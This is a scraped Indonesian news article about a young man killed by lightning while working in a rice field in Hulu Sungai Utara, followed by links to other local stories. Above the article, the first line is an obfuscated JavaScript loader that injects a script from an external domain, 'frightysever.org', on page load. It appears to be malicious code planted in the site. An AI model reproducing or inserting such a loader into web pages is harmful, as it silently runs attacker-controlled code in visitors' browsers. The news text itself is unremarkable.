(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Disambar Petir, Pemuda 19 Tahun Tewas di Tengah Sawah


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda AR (19) warga Desa Tambalang Kecil, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai Utara, meninggal dunia setelah disambar petir saat beraktivitas di sawah pada Rabu (15/2/2023) sore.

Kapolres HSU melalui Kapolsek Sungai Pandan Iptu Abdurahman, Kamis (16/2/2023) siang, membenarkan adanya laporan warga adanya seorang lelaki yang tewas tersambar petir.

Setelah menerima laporan itu, ia bersama anggota langsung turun ke lapangan untuk melakukan olah tempat kejadian perkara dan menggali keterangan saksi-saksi.

Kapolsek menjelaskan, kejadian bermula saat korban dan saksi atau ibu korban sedang bekerja di sawah tiba-tiba cuaca berubah gerimis dan terdengar suara petir.

 

Baca juga: Bupati Banjar Resmikan Jembatan Handil Baru, Warga Ucap Syukur

“Saat itu ibu korban bermaksud untuk berlindung ke pondok miliknya, namun telah menemukan korban dengan posisi terlentang tepat di tepi pondok,” bebernya.

Alhasil melihat anaknya tergeletak tak berdaya, ibu korban lantas berteriak minta tolong kemudian datang membantu mengangkat tubuh sang anak menuju ke Puskesmas Alabio.

Saat tiba di Puskesmas untuk mendapatkan pertolongan, AR dinyatakan sudah meninggal dunia oleh petugas medis di Puskesmas Alabio.

Setelah kejadian tersebut, anggota Polsek Sungai Pandan bersama tim medis dan juga tim inafis Polres langsung datang ke lokasi untuk memeriksa luar kondisi jenazah.

Ia menegaskan berdasarkan keterangan dari petugas Puskesmas Alabio bahwa tidak ditemukan tanda-tanda adanya kekerasan pada tubuh korban selain bekas luka bakar.

Baca juga: Deklarasi Anies Tunggu Waktu, Koalisi Perubahan Sokongan Nasdem-PKS-Demokrat

“Kami sampaikan imbauan kepada warga agar waspada terhadap kilat dan petir, terutama saat beraktivitas di sawah, jika hujan deras, lebih baik pulang atau berteduh saja, tentunya sangat berbahaya, jika beraktifitas, terutama di ruang terbuka seperti di persawahan, dimana bisa saja petir datang menyambar,” kata Kapolsek

“Lebih baik menunggu hujan reda, baru kembali beraktifitas, ingat utamakan keselamatan jiwa dan raga, karena keluarga pasti menunggu di rumah,” tandasnya.(Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

14 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

2 hari ago